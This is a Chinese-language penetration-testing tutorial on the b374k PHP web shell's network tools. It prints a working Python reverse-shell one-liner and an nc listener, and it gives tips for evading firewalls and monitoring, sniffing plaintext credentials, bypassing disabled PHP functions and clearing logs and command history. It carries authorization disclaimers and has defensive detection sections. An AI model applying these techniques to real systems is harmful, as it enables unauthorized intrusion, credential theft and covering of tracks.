b374k 这名字在圈子里不算陌生,但我发现很多人只把它当个文件管理器来用,挖到 shell 后传上去,浏览几个目录就完事了。实际上它的网络工具模块才是一套被低估的组合拳:反向 Shell 生成、内网端口扫描、数据包抓取分析,三个功能单拎出来每一个都能在授权测试里独当一面。这篇就来拆一拆这三个核心模块,讲讲原理、实操姿势、以及我自己踩过的坑。
内容会涉及一些网络协议的底层逻辑,但我会尽量用大白话讲清楚。适合三类人看:一是刚接触渗透测试、想在授权环境里搞懂 Web Shell 网络功能的新人,二是需要在红队演练里快速打通内网通道的工程师,三是做应急响应的朋友——理解了这些工具的攻击原理,防守的时候才知道特征在哪、怎么查。
1. 先搞明白 b374k 的网络模块解决了什么问题
1.1 集成的模块化设计
b374k 是基于 PHP 的 Web Shell,最大的特色是把常用功能做成了模块化面板。很多人对它印象停留在文件管理、命令执行、数据库连接这几块,但网络工具这组功能设计得相当务实。
它的网络模块把三种高频需求打包在了一起:反向连接、端口扫描、数据包捕获。这意味着在拿到一个 Web Shell 之后,不需要再费劲上传各种独立的二进制工具,直接在面板里就能完成内网探测和通道建立。模块化带来的好处是显而易见的:在目标机器上没有 Python、没有 nc、没有 tcpdump 的情况下,PHP 脚本本身就能完成大部分网络操作,这在实际测试里能救命的。
1.2 为什么网络功能比单纯执行命令更重要
拿到 shell 只是开始,真正卡住大多数人的是后续的网络操作。最常见的问题就两个:
一是目标机器在内网里,和我的攻击机之间不通,直接执行命令能看结果,但想传文件、开代理、做隧道就很麻烦。这时候反向 Shell 就是刚需。
二是内网拓扑完全未知,光靠一条一条 ping 太慢,端口扫描又依赖目标机器上有合适的工具。PHP 写的 TCP 扫描器虽然速度不如 C 写的,但胜在即用即走、不需要额外上传文件。
三是排查问题的时候需要看实际流量,比如确认某个端口是不是真的对外开放、某个服务返回了什么 banner、钓鱼邮件里的 C2 域名还在不在通信。数据包抓取功能这时候就是最直接的证据来源。
这个模块的设计思路是:与其依赖目标机器自带的工具,不如让 Web Shell 变成一个自包含的网络工具集。理解了这一点,后面用起来思路就顺了。
2. 反向 Shell 的生成思路与实际联动
2.1 为什么一定要用反向连接
正向 Shell 最大的问题是需要目标机器有公网可达的 IP,而且防火墙还要放行对应端口。可现实场景里,目标几乎都在 NAT 后面,内网地址对外不可达,防火墙默认拦入站流量。反向连接刚好绕开这套限制:由目标机器主动向外连我的监听端口,出站流量在大多数网络环境里都是放行的。
类比一下就是:你困在一个房间里,与其等着外面的人撬锁进来(正向),不如把手机从窗户扔出去让外面的人顺着铃声找到你(反向)。出站连接的成功率远高于入站连接,这就是反向 Shell 在授权测试中稳坐头把交椅的原因。
2.2 生成和监听的完整流程
在 b374k 的网络工具面板里有反向 Shell 生成区,选择语言(Bash、Perl、Python、PHP 等)、填写我的 IP 和端口,点生成就会给出对应的命令。但问题来了——生成命令只是第一步,监听端必须配合好,否则命令执行了也白搭。这一步要手动在攻击机上把监听拉起来:
nc -lvnp 4444如果目标机器上有 Python,用 Python 起的反向 Shell 交互体验会好很多,因为可以拿到一个带 TTY 的交互式终端。生成出来的命令大概是这样的形态:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'拆开看就是三板斧:建 socket、把标准输入输出错误全部重定向到 socket 上、然后起一个交互 shell。整个过程是 PHP 面板帮你拼好了这段代码,你只需要确认目标机器上有对应的解释器。
2.3 TTY 增强与交互优化
直接拿到的 shell 通常是个不带 TTY 的半残终端,连 vim 都开不了,Tab 补全也没有。体验到这儿,别急着吐槽,用 Python 自带的 pty 模块升级一下就好:
python3 -c 'import pty;pty.spawn("/bin/bash")'然后按 Ctrl+Z 把会话切回后台,在本地执行 stty raw -echo,再敲 fg 回到前台,就能得到一个带完整 TTY 的交互式终端。
这个技巧是我实战中踩过坑之后才记住的。第一次拿到 shell 就傻乎乎地敲命令,发现没法切换目录补全、一用 vim 就报错,后来才明白是缺少 TTY 的原因。顺带提醒一点:反向连接的端口尽量选 443、80、53 这类常见端口,加密流量和普通 HTTPS 混在一起的话,防火墙更不容易起疑。
提示:反向 Shell 的核心是建立从目标到攻击机的出站连接。所有操作必须限定在你有书面授权的测试范围内,否则就是对他人系统的未授权访问。
3. 端口扫描模块:用最短时间摸清内网底数
3.1 PHP 写的扫描器速度能打吗
b374k 的端口扫描模块用的是 fsockopen 或 stream_socket_client 来做 TCP 连接测试,逻辑并不复杂:依次尝试连接目标主机的指定端口,能连上就标记为开放。受限于 PHP 本身就是脚本语言,单线程扫描肯定慢,所以模块里引入了并发和超时控制的思路。
实际使用中需要注意几点:
- 扫描范围写清楚起始和结束端口,别上来就 1 到 65535 全扫,时间成本太高。配合内网资产台账,先扫常见的 21、22、23、80、443、3389、3306、6379、8080 这些就够了。
- 超时要设置合理,太短容易漏报,太长影响整体速度。我自己习惯设 1 到 2 秒,内网环境下基本够用。
- 扫描结果拿到后别急着下结论,同一个端口在不同机器上可能对应完全不同的服务。比如某台机器的 8080 可能是 Tomcat,也可能是代理服务,光看端口号猜服务容易翻车。
3.2 端口扫描结果的价值与联动
端口扫描真正值钱的地方在后面的联动。扫到 3306 开放,下一步就该想 MySQL 弱口令;扫到 21 开放,就该想 FTP 匿名登录;扫到 6379 开放,Redis 未授权访问就是高概率事件。所以端口扫描从来不是目的,而是为后续的漏洞探测提供线索。
我自己习惯把扫描结果按网段、按端口维度整理成表格,扫完一轮先画一张内网服务分布图。这张图对后面的进攻路径规划特别重要——哪台机器像是数据库服务器、哪台机器是 Web 应用服务器、哪台机器可能是运维跳板机,基本都能从端口分布里看出个大概。
这里要多说一句:b374k 自带的扫描器速度还是有限的,如果内网规模大,更好的选择是上传一个编译好的扫描器二进制。但在没法上传文件、或者内网隔离很严格的场景下,这个 PHP 扫描器就是一个不错的兜底方案。
3.3 从防御视角看待扫描行为
每次我讲解端口扫描,都建议听的人反过来想一想:如果我是一个防守方,看到内网某台 Web 服务器突然开始大量尝试连接其他主机的端口,这正常吗?答案显然是不正常的。Web 服务器本身应该只需要对外提供 80/443 服务,它突然去探测内网其他机器,说明它已经被攻破了。
所以这个模块不仅仅是一个攻击工具,也是一个很好的防守检测触发点。在蜜罐和 IDS 规则里,对 Web 应用发起的批量端口探测行为进行告警,是性价比很高的检测策略。
4. 数据包分析:内置抓包功能的实战用法
4.1 在 Web Shell 里抓包的实现方式
b374k 的数据包分析功能通常是通过调用系统自带的 tcpdump、tcpflow 之类工具实现的;如果目标机器上没有这些工具,模块会尝试用 PHP 的 socket 函数直接抓取。但这个能力受权限限制比较大——在 Linux 上抓包通常需要 root 权限,如果 Web 服务是以 www-data 权限运行的,抓包会失败。
所以在使用数据包模块之前,先执行 id 命令确认当前权限。这个方法我自己已经养成肌肉记忆了,任何网络操作之前先看清楚自己是谁、在哪个目录、有什么权限。
另外,抓到的数据包默认保存为 pcap 格式,可以下载到本地用 Wireshark 打开分析。这个能力在红队演练里特别有用,但使用时要非常克制,因为流量里的敏感信息密度极高。想保存流量的时候,b374k 会让选择网卡接口和 BPF 过滤表达式。内网机器上通常有 eth0、eth1 多个接口,选错了就只能抓到一堆没用的广播包。我一般先不加过滤条件抓 10 秒,看看哪个接口有实际业务流量,再针对性地加过滤条件。
4.2 抓包看什么:协议分析与异常判断
抓到包后真正考验人的是分析能力。最常见的分析目标有三个:
第一是看明文协议里的凭证信息。HTTP、FTP、Telnet、SMTP 这些协议都是明文传输,在一个内网环境里如果存在这类协议的使用,抓到的包基本就是“躺在地上随便捡的密码”。这个在授权演练里是一个非常高效的内网横向突破口。
第二是看 DNS 请求,判断内网机器的外联行为。某一台机器突然持续请求某个陌生域名,大概率是感染了恶意软件在回连 C2 服务器。这个思路放在应急响应里也是相同的。
第三是看 ARP 和 NetBIOS 流量,确认内网有哪些机器在线活跃。这个方法比端口扫描更隐蔽,因为 ARP 广播本身就是正常的网络行为,防守方不太会注意到这种探测手段。
从实操角度讲,抓包分析的核心原则是:先确定要回答什么问题,再决定抓什么流量。是求证某个端口是否对外开放?还是追踪一段异常流量?带着问题去抓包,比盲抓盲看高效得多。
4.3 抓包模块的局限与补充方案
说实话,b374k 的抓包能力只是个轻量级方案,和专业的流量分析工具没法比。主要问题有两个:一是 PHP 脚本的性能开销很大,在流量大的机器上抓包容易丢包;二是抓包是“看到什么存什么”,没有内置复杂的协议解析器,很多应用层协议要从原始流量里手工提取,效率很低。
我的习惯是把它当作临时取证工具来用:确认某一个端口在通信、某一个 IP 在发包,够了,剩下的分析拉回本地用 Wireshark 做。目标机器上的轻量抓包,重点抓的是“谁在跟谁通信”这个层面的信息,不需要追求协议解码的完整度。
5. 常见问题与排查技巧实录
5.1 高频问题速查表
| 问题现象 | 可能原因 | 解决办法 |
|---|---|---|
| 反向 Shell 连不上 | 攻击机未监听、防火墙拦截出站 | 先确认 nc -lvnp 已经起来,再换 80/443 端口尝试 |
| Python 反向 Shell 报错 | 目标机器没有 python3 | 改用 bash /dev/tcp 或 php 反向 Shell |
| 端口扫描结果全 closed | 超时设置太短 | 把超时调到 2 秒,换更小的端口范围重扫 |
| 抓包没有数据输出 | 没有 root 权限 | 先提权,或改用 tcpdump 看有没有 setuid 位 |
| 扫描速度极慢 | PHP 单线程限制 | 缩小端口范围,分段扫描关键端口 |
| 反向 Shell 没有 TTY | Python 资源未加载 | 执行 pty.spawn 配合 stty raw -echo 升级会话 |
| 下载 pcap 文件打不开 | 文件没保存完整 | 重新抓包,先下载到本地校验哈希再用 Wireshark 打开 |
这上面每一个问题我都实际遇到过,尤其是反向 Shell 连不上这个,十有八九是攻击机这边的监听没起或者防火墙拦了出站连接,跟目标机器本身没关系。排查顺序永远是先看攻击机、再看目标机、最后看中间链路。
5.2 几个绕不开的实操细节
第一件事是 PHP 禁用函数对模块的影响。很多服务器在 php.ini 里禁用了 shell_exec、exec、system 这类函数,b374k 的命令执行功能会直接失效。这种情况下可以试试利用面板的其它功能,比如通过 file_put_contents 写一个临时的 PHP 脚本再访问它来绕过限制,但这种绕过行为本身就可能触发安全设备的告警,只建议在授权范围内谨慎评估后使用。
第二是权限问题。前面说过,不管执行什么网络操作,第一步永远是 id、pwd、uname -a 三连,搞清楚自己是什么权限、在哪台机器上、系统是什么架构。权限不足的情况下,后面的操作都会受限。
第三是流量加密。目标机器上的网络操作产生的流量,对内网监控设备来说都是可见的。反向 Shell 可以考虑用 OpenSSL 包装一层 TLS 加密,让流量看起来像 HTTPS,在不稳定的监控环境下能活得久一些。不过这个方法会明显增加上手复杂度,且不同平台兼容性需要测试,不是特别硬核的场景可以暂时不折腾。
5.3 防守视角的核心建议
每次聊这些工具我都必须强调:它们的价值不只是攻击,更是防守方理解攻击手法的窗口。知道 b374k 的端口扫描模块怎么工作,就知道该在 Web 服务器上监控什么特征:突然出现大量外连、频繁尝试非业务端口、PHP 进程在执行网络连接函数,这些都是明确的告警信号。
应急响应的朋友可以做个自查:如果一台 Web 服务器被上传了这类脚本,日志里会留下文件上传记录、面板访问记录、以及来自某个特定 IP 的请求特征。把这些特征固化成检测规则,比等到事件发生再翻日志有效得多。
6. 我的一点实战体会
用得越久越觉得,b374k 这类工具强在“周全”——把文件管理、命令执行、网络工具全部揉到一个 PHP 文件里,配合前端交互做成了半可视化的操作面板。对测试者来说,少传一个文件就少一分暴露风险,多一个功能就多一条活路。
网络模块这几项能力,单看每一项都不是业界最强,但组合在一起,它就是内网环境里一个非常趁手的瑞士军刀。我现在的习惯是:拿到目标,先用抓包确认存活主机和通信关系,再用端口扫描确定服务分布,最后用反向 Shell 把外联通道打通。三招下来,内网的底数基本就摸清楚了。
最后再分享一个小技巧:用完这些工具之后,记得把面板自带的日志清理机制跑一遍,同时检查一下命令历史里有没有留下痕迹。在授权测试中,干净的离场跟顺利的进场同样重要。希望这篇拆解能帮你在合法合规的测试场景里少走几步弯路。